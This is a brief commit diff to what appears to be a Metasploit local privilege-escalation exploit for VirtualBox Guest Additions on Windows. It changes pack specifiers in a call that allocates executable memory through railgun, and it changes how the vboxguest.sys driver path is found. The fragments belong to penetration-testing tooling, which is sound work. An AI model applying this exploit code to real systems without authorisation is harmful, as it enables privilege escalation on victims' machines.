Use get_env and good pack specifier

Author: Meatballs1

modules/exploits/windows/local/virtual_box_guest_additions.rb

@@ -64,7 +64,7 @@ def initialize(info={})
 
   def fill_memory(proc, address, length, content)
 
-    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
+    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
 
     if not proc.memory.writable?(address)
       vprint_error("Failed to allocate memory")
@@ -101,7 +101,7 @@ def check
       return Exploit::CheckCode::Safe
     end
 
-    file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys"
+    file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys"
     unless file?(file_path)
       return Exploit::CheckCode::Unknown
     end